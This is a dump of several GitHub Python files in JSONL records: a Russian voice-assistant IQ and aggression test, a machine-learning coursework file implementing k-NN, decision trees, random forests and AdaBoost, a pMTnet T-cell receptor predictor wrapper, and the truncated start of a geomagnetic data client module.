try:\n if testing.previous_answer:\n correctly = \"Правильно! \"\n else:\n correctly = \"Неправильно. \"\n except:\n correctly = ''\n\n if results.iq == 0:\n res['response'][\n 'text'] = \"Вы выбирали ответы наугад? Это риторический вопрос.\" \\\n \" Пройдите тест ещё раз, выбирайте ответы с умом.\"\n res['response']['buttons'] = [{\"title\": \"В главное меню\", \"hide\": True}]\n\n res['response']['text'] = correctly + res['response']['text']\n return res['response'][\n 'text'], res['response']['buttons']\n res['response'][\n 'text'] += \"Вы выполнили этот тест на {} процентов. Это означает что у вас {}.\" \\\n \" Ваш IQ примерно составляет... {}. \".format(results.percent, self.get_info(results.percent),\n results.iq\n if results.iq != '-'\n else 'Упс... невозможно вычислить')\n\n res['response']['buttons'] = copy.deepcopy(info_i[\"buttons\"]['aftertest'])\n res['response']['buttons'][0]['url'] = res['response']['buttons'][0]['url'].format(\n results.iq)\n res['response']['text'] = correctly + res['response']['text']\n return res['response'][\n 'text'], res['response']['buttons']\n\n\nclass Assinger_test():\n def __init(self):\n pass\n\n def get_info(self, user_id):\n testing = db.session.query(Assingertesting).filter_by(user_id=user_id).first()\n\n if testing.point >= 45:\n text = 'Вы излишне агрессивны, при том нередко бываете неуравновешенным и жестоким по отношению к другим.' \\\n ' Вы надеетесь добраться до управленческих \"верхов\", рассчитывая на собственные методы,' \\\n 'добиться успеха, жертвуя интересами окружающих. Поэтому Вас не удивляет неприязнь сослуживцев,' \\\n ' но при малейшей возможности Вы стараетесь их за это наказать.'\n elif 36 <= testing.point <= 44:\n text = 'Вы умеренно агрессивны, но вполне успешно идете по жизни, поскольку в Вас достаточно' \\\n ' здорового честолюбия и самоуверенности. '\n else:\n text = 'Вы чрезмерно миролюбивы, что обусловлено недостаточной уверенностью в собственных силах' \\\n ' и возможностях. Это отнюдь не значит, что Вы как травинка гнетесь под любым ветерком.' \\\n ' И все же больше решительности Вам не помешает! '\n\n return text\n\n def end_test(self, res, user_id, info_i):\n testing = db.session.query(Assingertesting).filter_by(user_id=user_id).first()\n user = db.session.query(User).filter_by(user_id=user_id).first()\n results = db.session.query(Assingerresults).filter_by(user_id=user_id).first()\n testing.start_test = False\n results.result = self.get_info(user_id)\n db.session.commit()\n return self.get_info(user_id)\n","repo_name":"Vo5torg/IQTestAlice","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":7822,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2623637005","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCOMP0088 lab exercises for week 3.\n\nAdd your code as specified below.\n\nA simple test driver is included in this script. Call it at the command line like this:\n\n $ python week_3.py\n\nA 4-panel figure, `week_3.pdf`, will be generated so you can check it's doing what you\nwant. You should not need to edit the driver code, though you can if you wish.\n\"\"\"\n\nfrom calendar import c\nfrom itertools import count\nimport sys, os, os.path\nimport argparse\nimport pprint\nfrom turtle import distance\nfrom bitarray import test\n\nimport numpy as np\nimport math\nimport numpy.random\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nimport utils\n\n\n#### ADD YOUR CODE BELOW\n\n# -- Question 1 --\ndef rank_array(arr_distance, k_neighbours):\n \"\"\"\n Rank the indices of the array based on distance and find\n the indices of the K smallest values.\n\n Parameters:\n arr_distance - array containing distance between points in training set and test point\n k_neighbours - the number of neighbours\n\n Returns:\n arr_distance - array transformed to the ranked indices of the K points\n \"\"\"\n assert(k_neighbours >= 1)\n\n distance_copy = arr_distance.copy()\n distance_copy.sort()\n \n ranks = {}\n rank1 = 0\n # Rank elements\n for i in range(len(distance_copy)):\n val = distance_copy[i]\n if val not in ranks.keys():\n ranks[val] = rank1\n rank1 += 1\n \n rank2 = 0\n k_nearest = []\n \n # Assign ranks to elements\n for idx in range(len(arr_distance)):\n element = arr_distance[idx]\n if ranks[element] in range(k_neighbours) and rank2 < k_neighbours:\n k_nearest.append(idx)\n rank2 += 1\n if len(k_nearest) == k_neighbours:\n return k_nearest\n\ndef vote_nn(indices, train_y):\n \"\"\"\n \n \"\"\"\n unique, counts = np.unique([train_y[indices[i]] for i in range(len(indices))], return_counts=True)\n counter_dict = dict(zip(unique, counts))\n\n return max(counter_dict, key=counter_dict.get)\n\ndef vote(y):\n \"\"\"\n Return the class with highest number of occurances in a prediction\n from an array\n\n Parameters:\n y - an array with predictions\n\n Returns:\n cls - class with the highest number of predictions\n ! special case when several have the same number of occurences,\n then it defaults to the lowest in numerical value\n \"\"\"\n unique, counts = np.unique(y, return_counts=True)\n return unique[np.argmax(counts)]\n\ndef euclidean_distance(train_X, test_point):\n \"\"\"\n \n \"\"\"\n return [np.sqrt(np.sum((train_X[i] - test_point)**2)) for i in range(train_X.shape[0])]\n \ndef nearest_neighbours_predict ( train_X, train_y, test_X, neighbours=1 ):\n \"\"\"\n Predict labels for test data based on neighbourhood in\n training set.\n \n # Arguments:\n train_X: an array of sample data for training, where rows\n are samples and columns are features.\n train_y: vector of class labels corresponding to the training\n samples, must be same length as number of rows in X\n test_X: an array of sample data to generate predictions for,\n in same layout as train_X.\n neighbours: how many neighbours to canvass at each test point\n \n # Returns\n test_y: predicted labels for the samples in test_X\n \"\"\"\n assert(train_X.shape[0] == train_y.shape[0])\n assert(train_X.shape[1] == test_X.shape[1])\n \n test_y = []\n for point in test_X:\n arr_distance = euclidean_distance(train_X, point)\n rank_index = rank_array(arr_distance, neighbours)\n test_y.append(vote_nn(rank_index, train_y))\n\n return np.array(test_y)\n \n\n# -- Question 2 --\n\ndef misclassification ( y, cls, weights=None ):\n \"\"\"\n Calculate (optionally-weighted) misclassification error for\n a given set of labels if assigned the given class.\n \n # Arguments\n y: a set of class labels\n cls: a candidate classification for the set\n weights: optional weights vector specifying relative\n importance of the samples labelled by y\n \n # Returns\n err: the misclassification error of the candidate labels\n \"\"\"\n if weights is not None:\n return np.sum( weights @ np.where( y != cls, 1, 0) )\n \n return ( 1 / len(y) ) * np.sum( np.where( y != cls, 1, 0) ) \n\ndef misclassification_array(y_pred, y_truth):\n \"\"\"\n Calculate misclassification array for a given\n set of labels if assigned the given class.\n\n Parameters:\n y_pred - predicted class labels\n y_truth - ground truth labels\n \"\"\"\n return np.where( y_pred != y_truth, 1, 0)\n \n\ndef decision_node_split ( X, y, cls=None, weights=None, min_size=3 ):\n \"\"\"\n Find (by brute force) a split point that best improves the weighted\n misclassification error rate compared to the original one (or not, if\n there is no improvement possible).\n \n Features are assumed to be numeric and the test condition is\n greater-or-equal.\n \n # Arguments:\n X: an array of sample data, where rows are samples\n and columns are features.\n y: vector of class labels corresponding to the samples,\n must be same length as number of rows in X\n cls: class label currently assigned to the whole set\n (if not specified we use the most common class in y, or\n the lowest such if 2 or more classes occur equally)\n weights: optional weights vector specifying relevant importance\n of the samples\n min_size: don't create child nodes smaller than this\n \n # Returns:\n feature: index of the feature to test (or None, if no split)\n thresh: value of the feature to test (or None, if no split)\n c0: class assigned to the set with feature < thresh\n (or None, if no split)\n c1: class assigned to the set with feature >= thresh\n (or None, if no split)\n \"\"\"\n assert(X.shape[0] == len(y))\n\n best_feature, best_threshold = None, None\n best_c0, best_c1 = None, None\n\n if cls == None:\n cls = utils.vote(y)\n \n if weights is None:\n weights = np.ones(X.shape[0])/X.shape[0]\n \n init_loss = misclassification(y=y, cls=cls, weights=weights)\n if init_loss == 0:\n return None, None, None, None\n\n loss_gain = 0\n n_features = X.shape[-1]\n \n for feature in range(n_features):\n for tresh in X[:,feature]:\n X1 = X[:,feature] > tresh\n # negation of X1\n X2 = ~X1\n\n if (np.sum(X1) < min_size) or (np.sum(X2) < min_size):\n continue\n y1 = y[X1]\n y2 = y[X2]\n\n weights1 = weights[X1]\n weights2 = weights[X2]\n\n c1 = np.unique(y1)\n c2 = np.unique(y2)\n\n loss1 = [misclassification(y=y1, cls=cl, weights=weights1) for cl in c1]\n loss2 = [misclassification(y=y2, cls=cl, weights=weights2) for cl in c2]\n \n # gives index of corresponding to class with \n # minimum loss passed to unique classes\n node_1_class = c1[np.argmin(loss1)]\n node_2_class = c2[np.argmin(loss2)]\n \n # predicting the class with minimum loss leads to following loss\n best_loss1 = np.min(loss1)\n best_loss2 = np.min(loss2)\n\n # take old loss and subtract new loss to see gain\n loss_improvement = init_loss - (best_loss1 + best_loss2)\n\n if loss_improvement > loss_gain:\n best_feature = feature\n best_threshold = tresh\n loss_gain = loss_improvement\n best_c0 = node_1_class\n best_c1 = node_2_class\n \n if best_feature == None:\n return None, None, None, None\n \n else:\n return best_feature, best_threshold, best_c0, best_c1\n\n\ndef decision_tree_train ( X, y, cls=None, weights=None,\n min_size=3, depth=0, max_depth=10 ):\n \"\"\"\n Recursively choose split points for a training dataset\n until no further improvement occurs.\n \n # Arguments:\n X: an array of sample data, where rows are samples\n and columns are features.\n y: vector of class labels corresponding to the samples,\n must be same length as number of rows in X\n cls: class label currently assigned to the whole set\n (if not specified we use the most common class in y, or\n the lowest such if 2 or more classes occur equally)\n weights: optional weights vector specifying relevant importance\n of the samples\n min_size: don't create child nodes smaller than this\n depth: current recursion depth\n max_depth: maximum allowed recursion depth\n \n # Returns:\n tree: a dict containing (some of) the following keys:\n 'kind' : either 'leaf' or 'decision'\n 'class' : the class assigned to this node (leaf)\n 'feature' : index of feature on which to split (decision)\n 'thresh' : threshold at which to split the feature (decision)\n 'below' : a nested tree for when feature < thresh (decision)\n 'above' : a nested tree for when feature >= thresh (decision)\n \"\"\"\n if cls == None:\n cls = utils.vote(y)\n if depth == max_depth:\n # return majority vote if no nodes\n return {'kind' : 'leaf', 'class' : cls}\n else:\n # we perform a split\n feat, thresh, cl0, cl1 = decision_node_split(X=X,\n y=y,\n cls=cls,\n weights=weights,\n min_size=min_size)\n\n \n if feat is None:\n # No improvement on loss by split, so return majority vote\n return {'kind' : 'leaf', 'class' : cls}\n\n X1 = X[:, feat] >= thresh\n X2 = ~X1\n\n return {'kind' : 'decision',\n 'feature' : feat,\n 'thresh': thresh,\n 'below' : decision_tree_train(X = X[X2,:],\n y=y[X2],\n cls=cl1,\n weights=None if weights is None else weights[X2],\n depth=depth+1,\n min_size=min_size,\n max_depth=max_depth\n ),\n 'above' : decision_tree_train(X = X[X1,:],\n y=y[X1],\n cls=cl0,\n weights=None if weights is None else weights[X1],\n depth=depth+1,\n min_size=min_size,\n max_depth=max_depth\n )}\n \ndef predictor_tree(tree, x):\n \"\"\"\n \n \"\"\"\n while True:\n if tree['kind'] == 'leaf':\n return tree['class']\n \n tree = tree['above'] if x[tree['feature']] >= tree['thresh'] else tree['below']\n\ndef decision_tree_predict ( tree, X ):\n \"\"\"\n Predict labels for test data using a fitted decision tree.\n \n # Arguments\n tree: a decision tree dictionary returned by decision_tree_train\n X: an array of sample data, where rows are samples\n and columns are features.\n\n # Returns\n y: array of the predicted labels \n \"\"\"\n \n return np.array([ predictor_tree( tree, X[i,:] ) for i in range(X.shape[0]) ]) \n\n\n# -- Question 3 --\n\ndef random_forest_train ( X, y, k, rng, min_size=3, max_depth=10 ):\n \"\"\"\n Train a (simplified) random forest of decision trees.\n \n # Arguments:\n X: an array of sample data, where rows are samples\n and columns are features.\n y: vector of binary class labels corresponding to the\n samples, must be same length as number of rows in X\n k: the number of trees in the forest\n rng: an instance of numpy.random.Generator\n from which to draw random numbers min_size: don't create child nodes smaller than this\n max_depth: maximum tree depth\n \n # Returns:\n forest: a list of tree dicts as returned by decision_tree_train\n \"\"\"\n forest = []\n rng = np.random.default_rng(seed=12345)\n\n for _ in range(k):\n # get random set of training data from X & y (corresponding indices)\n # train decision tree on that data\n # append the trained tree to the forest\n idx = rng.choice(np.arange(len(y)), size=len(y))\n X_slice = X[idx,:]\n y_slice = y[idx]\n\n forest.append(decision_tree_train(X_slice, y_slice, \n min_size=min_size, \n max_depth=max_depth))\n \n return forest\n \n\ndef random_forest_predict ( forest, X ):\n \"\"\"\n Predict labels for test data using a fitted random\n forest of decision trees.\n \n # Arguments\n forest: a list of decision tree dicts\n X: an array of sample data, where rows are samples\n and columns are features.\n\n # Returns\n y: the predicted labels\n \"\"\"\n tree_predictions = np.array([decision_tree_predict(tree, X) for tree in forest])\n\n return np.array([vote(tree_predictions[:,i]) \n for i in range(max(tree_predictions.shape))\n ])\n\n\n\n# -- Question 4 --\n\ndef normalize_weights_adaboost(weights, alpha, y_hat, y):\n weights = weights * np.exp(alpha * misclassification_array(y_hat, y))\n return weights / np.sum(weights)\n\n\ndef adaboost_train ( X, y, k, min_size=1, max_depth=3, epsilon=1e-8 ):\n \"\"\"\n Iteratively train a set of decision tree classifiers\n using AdaBoost.\n \n # Arguments:\n X: an array of sample data, where rows are samples\n and columns are features.\n y: vector of binary class labels corresponding to the\n samples, must be same length as number of rows in X\n k: the maximum number of weak classifiers to train\n min_size: don't create child nodes smaller than this\n max_depth: maximum tree depth -- by default we just\n use decision stumps\n epsilon: threshold below which the error is considered 0\n \n # Returns:\n trees: a list of tree dicts as returned by decision_tree_train\n alphas: a vector of weights indicating how much credence to\n given each of the decision tree predictions\n \"\"\"\n trees, alphas = [], []\n weights = ( 1 / len(y) ) * np.ones( len(y) )\n\n for _ in range(k):\n #train ensemble, get prediction and update weights\n trees.append(decision_tree_train(X=X,\n y=y,\n weights=weights,\n min_size=min_size,\n max_depth=max_depth))\n y_hat = decision_tree_predict(trees[-1], X)\n \n error = weights @ misclassification_array(y_pred=y_hat, \n y_truth=y)\n\n # get latest alpha \n if error >= epsilon:\n alphas.append( ( 1 / 2 ) * np.log( ( 1 - error) / error ))\n \n # error ~= 0 --> perfect prediction\n else:\n alphas.append(1)\n break\n\n weights = normalize_weights_adaboost(weights=weights, \n alpha=alphas[-1], \n y_hat=y_hat, \n y=y)\n return trees, np.array(alphas)\n\ndef adaboost_predict ( trees, alphas, X ):\n \"\"\"\n Predict labels for test data using a fitted AdaBoost\n ensemble of decision trees.\n \n # Arguments\n trees: a list of decision tree dicts\n alphas: a vector of weights for the trees\n X: an array of sample data, where rows are samples\n and columns are features.\n\n # Returns\n y: the predicted labels\n \"\"\"\n preds = np.array( [decision_tree_predict(tree, X) for tree in trees] ) * 2 - 1\n preds_weighted = alphas @ preds\n\n return (preds_weighted >= 0).astype(int)\n \n\n#### TEST DRIVER\n\ndef process_args():\n ap = argparse.ArgumentParser(description='week 3 coursework script for COMP0088')\n ap.add_argument('-s', '--seed', help='seed random number generator', type=int, default=None)\n ap.add_argument('-n', '--num_samples', help='number of samples to use', type=int, default=150)\n ap.add_argument('-k', '--neighbours', help='number of neighbours for k-NN fit', type=int, default=3)\n ap.add_argument('-m', '--min_size', help='smallest acceptable tree node', type=int, default=3)\n ap.add_argument('-w', '--weak', help='how many weak classifiers to train for AdaBoost', type=int, default=15)\n ap.add_argument('-f', '--forest', help='how many trees to train for random forest', type=int, default=15)\n ap.add_argument('-r', '--resolution', help='grid sampling resolution for classification plots', type=int, default=20)\n ap.add_argument('-d', '--data', help='CSV file containing training data', default='week_3_data.csv')\n ap.add_argument('file', help='name of output file to produce', nargs='?', default='week_3.pdf')\n return ap.parse_args()\n\nif __name__ == '__main__':\n args = process_args()\n rng = numpy.random.default_rng(args.seed)\n \n print(f'loading data from {args.data}')\n df = pd.read_csv(args.data)\n X = df[['X1','X2']].values[:args.num_samples,:]\n y = df['Multi'].values[:args.num_samples]\n\n fig = plt.figure(figsize=(10, 10))\n axs = fig.subplots(nrows=2, ncols=2)\n \n print(f'Q1: checking {args.neighbours}-nearest neighbours fit')\n # this is a fudge -- there's no training phase, so check implementation with a dummy prediction\n dummy = nearest_neighbours_predict ( X[:3,:], y[:3], X[:3,:], neighbours=args.neighbours )\n if dummy is None:\n print('decision tree not implemented')\n utils.plot_unimplemented(axs[0,0], f'{args.neighbours}-Nearest Neighbours')\n else: \n print(f'Q1: plotting {args.neighbours}-nearest neighbours fit') \n nn_cls = lambda z: nearest_neighbours_predict ( X, y, z, neighbours=args.neighbours )\n utils.plot_classification_map(axs[0,0], nn_cls, X, y, resolution=args.resolution, title=f'{args.neighbours}-Nearest Neighbours')\n \n print('Q2: testing misclassification error')\n all_right = misclassification(np.ones(3), 1)\n all_wrong = misclassification(np.ones(3), 0)\n fifty_fifty = misclassification(np.concatenate((np.ones(3), np.zeros(3))), 1)\n \n right_msg = 'correct' if np.isclose(all_right, 0) else 'wrong, should be 0'\n wrong_msg = 'correct' if np.isclose(all_wrong, 1) else 'wrong, should be 1'\n fifty_msg = 'correct' if np.isclose(fifty_fifty, 0.5) else 'wrong should b 0.5'\n \n print(f' all right: {all_right} - {right_msg}')\n print(f' all wrong: {all_wrong} - {wrong_msg}')\n print(f' fifty-fifty: {fifty_fifty} - {fifty_msg}')\n \n print('Q2: fitting decision tree')\n tree = decision_tree_train ( X, y, min_size=args.min_size )\n \n if tree is None:\n print('decision tree not implemented')\n utils.plot_unimplemented(axs[0,1], 'Decision Tree')\n else:\n print('Q2: plotting decision tree fit')\n tree_cls = lambda z: decision_tree_predict ( tree, z )\n utils.plot_classification_map(axs[0,1], tree_cls, X, y, resolution=args.resolution, title='Decision Tree')\n \n print(f'Q3: fitting random forest with {args.forest} trees')\n forest = random_forest_train ( X, y, args.forest, rng=rng, min_size=args.min_size )\n \n if forest is None:\n print('random forest not implemented')\n utils.plot_unimplemented(axs[1,0], 'Random Forest')\n else:\n print('Q3: plotting random forest fit')\n forest_cls = lambda z: random_forest_predict ( forest, z )\n utils.plot_classification_map(axs[1,0], forest_cls, X, y, resolution=args.resolution, title=f'Random Forest ({args.forest} Trees)')\n \n print('Q4: fitting adaboost ensemble')\n # swap to binary labels since we're only doing 2-class AdaBoost\n y = df['Binary'].values[:args.num_samples]\n trees, alphas = adaboost_train ( X, y, args.weak )\n \n if trees is None:\n print('adaboost not implemented')\n utils.plot_unimplemented(axs[1,1], 'AdaBoost')\n else: \n print('Q4: plotting AdaBoost fit')\n ada_cls = lambda z: adaboost_predict ( trees, alphas, z )\n utils.plot_classification_map(axs[1,1], ada_cls, X, y, resolution=args.resolution, title=f'AdaBoost ({args.weak} Stumps)')\n\n fig.tight_layout(pad=1)\n fig.savefig(args.file)\n plt.show()\n plt.close(fig)\n","repo_name":"eirikbaekkelund/ml_algorithms","sub_path":"week_3_dev.py","file_name":"week_3_dev.py","file_ext":"py","file_size_in_byte":21074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23120366209","text":"from keras.layers import Input, Dense, concatenate, Dropout\nfrom keras.models import Model, load_model\nfrom intcr.data.tcr_pmtnet import pearson_correlation_f\nimport pandas as pd\nimport numpy as np\nfrom intcr.data.tcr_pmtnet import preprocess_hla, preprocess_antigen, create_hla_seq_lib, \\\n load_aatchley_dict, TCRMap\n\n\nclass PMTnet:\n \"\"\"\n pMTnet as per reference implementation at https://github.com/tianshilu/pMTnet/blob/master/pMTnet.py (line 279)\n \"\"\"\n def __init__(self, *, tcr_encoder_fpath, hla_antigen_encoder_fpath, bg_1k_fpath, bg_10k_fpath,\n classifier_fpath=None, aatchley_dir: str=None, threshold=0.5):\n self._create_classifier(classifier_fpath)\n self._create_tcr_encoder(tcr_encoder_fpath)\n self._create_hla_antigen_encoder(hla_antigen_encoder_fpath)\n self._load_bg_negatives(bg_1k_fpath, bg_10k_fpath)\n self._thr = threshold\n self._aatchley_dict = None\n self._aatchley_idx2key = None\n self._aatchley_key2idx = None\n self._aatchley_dict_reversed = None\n self._aatchley_dict_reversed_int = None\n if aatchley_dir is not None:\n self._aatchley_dict, self._aatchley_dict_reversed, \\\n self._aatchley_idx2key, self._aatchley_key2idx,\\\n self._aatchley_dict_reversed_int = \\\n load_aatchley_dict(aatchley_dir, return_idx_maps=True)\n\n def _create_classifier(self, classifier_fpath=None):\n hla_antigen_in = Input(shape=(60,), name='hla_antigen_in')\n pos_in = Input(shape=(30,), name='pos_in')\n ternary_layer1_pos = concatenate([pos_in, hla_antigen_in])\n ternary_dense1 = Dense(300, activation='relu')(ternary_layer1_pos)\n ternary_do1 = Dropout(0.2)(ternary_dense1)\n ternary_dense2 = Dense(200, activation='relu')(ternary_do1)\n ternary_dense3 = Dense(100, activation='relu')(ternary_dense2)\n ternary_output = Dense(1, activation='linear')(ternary_dense3)\n self._classifier = Model(inputs=[pos_in, hla_antigen_in], outputs=ternary_output)\n if classifier_fpath is None:\n self._classifier.load_weights(classifier_fpath)\n\n def _create_tcr_encoder(self, tcr_encoder_fpath):\n TCR_encoder = load_model(tcr_encoder_fpath)\n self._tcr_encoder = Model(TCR_encoder.input,TCR_encoder.layers[-12].output)\n\n def encode_tcr(self, tcr):\n return self._tcr_encoder.predict(tcr)\n\n def _create_hla_antigen_encoder(self, hla_antigen_encoder_fpath):\n HLA_antigen_encoder = load_model(hla_antigen_encoder_fpath,\n custom_objects={'pearson_correlation_f': pearson_correlation_f})\n self._hla_antigen_encoder = Model(HLA_antigen_encoder.input, HLA_antigen_encoder.layers[-2].output)\n\n def encode_hla_antigen(self, antigen, hla):\n return self._hla_antigen_encoder.predict([antigen, hla])\n\n def _load_bg_negatives(self, bg_1k_fpath, bg_10k_fpath):\n self._tcr_neg_df_1k = pd.read_csv(bg_1k_fpath, names=pd.RangeIndex(0, 30, 1), header=None, skiprows=1).to_numpy()\n self._tcr_neg_df_10k = pd.read_csv(bg_10k_fpath, names=pd.RangeIndex(0, 30, 1), header=None, skiprows=1).to_numpy()\n\n def predict(self, tcr, antigen, hla):\n encoded_tcr = self.encode_tcr(tcr)\n encoded_hla_antigen = self.encode_hla_antigen(antigen, hla)\n return self.predict_with_bg(encoded_tcr, encoded_hla_antigen)\n\n def predict_with_bg(self, encoded_tcrs, encoded_hlas_antigens):\n ranks = []\n for tcr, hla_antigen in zip(encoded_tcrs, encoded_hlas_antigens):\n ranks.append(self.predict_with_bg_single(tcr, hla_antigen))\n predictions = self._threshold(np.squeeze(np.array(ranks)))\n return predictions\n\n def _threshold(self, ranks):\n return (ranks < self._thr).astype(np.int)\n\n def predict_with_bg_single(self, encoded_tcr, encoded_hla_antigen):\n rank, prediction = self._predict_with_bg_single(encoded_tcr, encoded_hla_antigen, self._tcr_neg_df_1k)\n if rank < 0.02:\n rank, prediction = self._predict_with_bg_single(encoded_tcr, encoded_hla_antigen, self._tcr_neg_df_10k)\n return rank\n\n def _rank(self, predictions):\n return 1 - np.float(sorted(predictions).index(predictions[0])+1)/len(predictions)\n\n def _predict_with_bg_single(self, encoded_tcr, encoded_hla_antigen, bg):\n tcr_in = np.concatenate([np.expand_dims(encoded_tcr, axis=0), bg], axis=0)\n hla_antigen_in = np.repeat(np.expand_dims(encoded_hla_antigen, axis=0), len(bg) + 1, axis=0)\n prediction = self._classifier.predict({'pos_in': tcr_in, 'hla_antigen_in': hla_antigen_in})\n rank = self._rank(prediction)\n return rank, prediction\n\n\nclass PMTnetFixedHLAAntigen(PMTnet):\n def __init__(self, *, antigen: str, hla: str, hla_lib_dir: str, **kwargs):\n super(PMTnetFixedHLAAntigen, self).__init__(**kwargs)\n self._preprocess_hla_antigen(hla, antigen, hla_lib_dir)\n self._preprocess_background()\n\n def _preprocess_hla_antigen(self, hla, antigen, hla_lib_dir):\n self._hla_str = hla\n self._antigen_str = antigen\n self._hla_library = create_hla_seq_lib(hla_lib_dir)\n self._hla_mapped = preprocess_hla([self._hla_str], HLA_seq_lib=self._hla_library)\n self._antigen_mapped = preprocess_antigen([self._antigen_str])\n self._encoded_hla_antigen = self.encode_hla_antigen(self._antigen_mapped, self._hla_mapped)\n\n def _preprocess_background(self):\n bg_hla = np.repeat(self._encoded_hla_antigen, len(self._tcr_neg_df_1k), axis=0)\n self._bg_1k_preds = np.squeeze(self._classifier.predict({'pos_in': self._tcr_neg_df_1k, 'hla_antigen_in': bg_hla}))\n bg_hla = np.repeat(self._encoded_hla_antigen, len(self._tcr_neg_df_10k), axis=0)\n self._bg_10k_preds = np.squeeze(self._classifier.predict({'pos_in': self._tcr_neg_df_10k, 'hla_antigen_in': bg_hla}))\n\n def predict(self, tcr, *args):\n if len(tcr.shape) > 2:\n encoded_tcr = self.encode_tcr(tcr)\n else: # in this case, we have an anchor-friendly input, i.e. each sample is an array of indeces\n new_x = []\n for s in tcr:\n sample = []\n for token in s:\n c = self._aatchley_idx2key[np.int(token)]\n if c != 'X':\n sample.append(c)\n new_x.append(''.join(sample))\n new_x = TCRMap(new_x, self._aatchley_dict)\n encoded_tcr = self.encode_tcr(new_x)\n repeated_hla = np.repeat(self._encoded_hla_antigen, len(encoded_tcr), axis=0)\n preds = self._classifier.predict({'pos_in': encoded_tcr, 'hla_antigen_in': repeated_hla})\n preds = np.squeeze(preds, axis=tuple(list(range(len(preds.shape)))[1:]))\n ranks = []\n for i in range(len(preds)):\n curr_pred = preds[i:i+1]\n if len(tcr) == 2:\n print(curr_pred)\n curr_2_rank = np.concatenate([curr_pred, self._bg_1k_preds])\n rank = self._rank(curr_2_rank)\n if rank < 0.02:\n rank = self._rank(np.concatenate([curr_pred, self._bg_10k_preds]))\n ranks.append(rank)\n predictions = self._threshold(np.array(ranks))\n return predictions\n\n\ndef load_pmt_net_fixed_hla_antigen(model_config, *args, **kwargs):\n return PMTnetFixedHLAAntigen(**model_config)\n","repo_name":"phineasng/DECODE","sub_path":"intcr/models/pmtnet.py","file_name":"pmtnet.py","file_ext":"py","file_size_in_byte":7434,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"14938255257","text":"# pylint: disable=missing-docstring, invalid-name,line-too-long\n\nimport datetime\nimport json\nimport os\nimport sys\nfrom collections import OrderedDict\nfrom io import StringIO\nfrom textwrap import dedent\nfrom warnings import warn\n\nfrom pandas import read_csv\nfrom tqdm import tqdm\n\nfrom ._client import TEMPLATE_FILES, ClientRequest, WPSInputs\nfrom ._data import CONFIG_SWARM\nfrom ._data_handling import ReturnedDataFile\nfrom ._wps.environment import JINJA2_ENVIRONMENT\nfrom ._wps.time_util import parse_datetime\n\nTEMPLATE_FILES = {\n **TEMPLATE_FILES,\n \"sync\": \"vires_fetch_filtered_data.xml\",\n \"async\": \"vires_fetch_filtered_data_async.xml\",\n \"model_info\": \"vires_get_model_info.xml\",\n \"times_from_orbits\": \"vires_times_from_orbits.xml\",\n \"get_observatories\": \"vires_get_observatories.xml\",\n \"get_conjunctions\": \"vires_get_conjunctions.xml\",\n}\n\nREFERENCES = {\n \"General Swarm\": (\n \" Swarm Data Handbook, https://earth.esa.int/web/guest/missions/esa-eo-missions/swarm/data-handbook \",\n \" The Swarm Satellite Constellation Application and Research Facility (SCARF) and Swarm data products, https://doi.org/10.5047/eps.2013.07.001 \",\n \" Swarm Science Data Processing and Products (2013), https://link.springer.com/journal/40623/65/11/page/1 \",\n \" Special issue “Swarm science results after 2 years in space (2016), https://www.springeropen.com/collections/swsr \",\n \" Earth's Magnetic Field: Understanding Geomagnetic Sources from the Earth's Interior and its Environment (2017), https://link.springer.com/journal/11214/206/1/page/1 \",\n )\n}\n\nMODEL_REFERENCES = {\n \"IGRF\": (\n \" International Geomagnetic Reference Field: the thirteenth generation, (https://doi.org/10.1186/s40623-020-01288-x) \",\n \" https://www.ngdc.noaa.gov/IAGA/vmod/igrf.html \",\n ),\n \"IGRF12\": (\n \" International Geomagnetic Reference Field: the 12th generation, https://doi.org/10.1186/s40623-015-0228-9 \",\n \" https://www.ngdc.noaa.gov/IAGA/vmod/igrf.html \"\n \" deprecated model identifier, use IGRF instead\",\n ),\n \"CHAOS-Core\": (\n \"CHAOS-7 Core field (SH degrees 1-20)\",\n \" http://www.spacecenter.dk/files/magnetic-models/CHAOS-7/ \",\n ),\n \"CHAOS-Static\": (\n \"CHAOS-7 crust field (SH degrees 21-185)\",\n \" http://www.spacecenter.dk/files/magnetic-models/CHAOS-7/ \",\n ),\n \"CHAOS-MMA-Primary\": (\n \"CHAOS-7 Primary (external) magnetospheric field\",\n \" hhttp://www.spacecenter.dk/files/magnetic-models/CHAOS-7/ \",\n ),\n \"CHAOS-MMA-Secondary\": (\n \"CHAOS-7 Secondary (internal) magnetospheric field\",\n \" http://www.spacecenter.dk/files/magnetic-models/CHAOS-7/ \",\n ),\n \"CHAOS-6-Core\": (\n \"CHAOS Core field\",\n \" deprecated model identifier, use CHAOS-Core instead\",\n ),\n \"CHAOS-6-Static\": (\n \"CHAOS crust field\",\n \" deprecated model identifier, use CHAOS-Static instead\",\n ),\n \"CHAOS-6-MMA-Primary\": (\n \"CHAOS Primary (external) magnetospheric field\",\n \" deprecated model identifier, use CHAOS-MMA-Primary instead\",\n ),\n \"CHAOS-6-MMA-Secondary\": (\n \"CHAOS-Secondary (internal) magnetospheric field\",\n \" deprecated model identifier, use CHAOS-MMA-Secondary instead\",\n ),\n \"MF7\": (\n \"MF7 crustal field model, derived from CHAMP satellite observations\",\n \" http://geomag.org/models/MF7.html\",\n ),\n \"LCS-1\": (\n \"The LCS-1 high-resolution lithospheric field model, derived from CHAMP and Swarm satellite observations\",\n \" http://www.spacecenter.dk/files/magnetic-models/LCS-1/\",\n ),\n \"MCO_SHA_2C\": (\n \"[Comprehensive Inversion]: Core field of CIY4\",\n \" A comprehensive model of Earth’s magnetic field determined from 4 years of Swarm satellite observations, https://doi.org/10.1186/s40623-018-0896-3 \",\n \"Validation: ftp://swarm-diss.eo.esa.int/Level2longterm/MCO/SW_OPER_MCO_VAL_2C_20131201T000000_20180101T000000_0401.ZIP \",\n ),\n \"MCO_SHA_2D\": (\n \"[Dedicated Chain]: Core field\",\n \"An algorithm for deriving core magnetic field models from the Swarm data set, https://doi.org/10.5047/eps.2013.07.005 \",\n \"Validation: 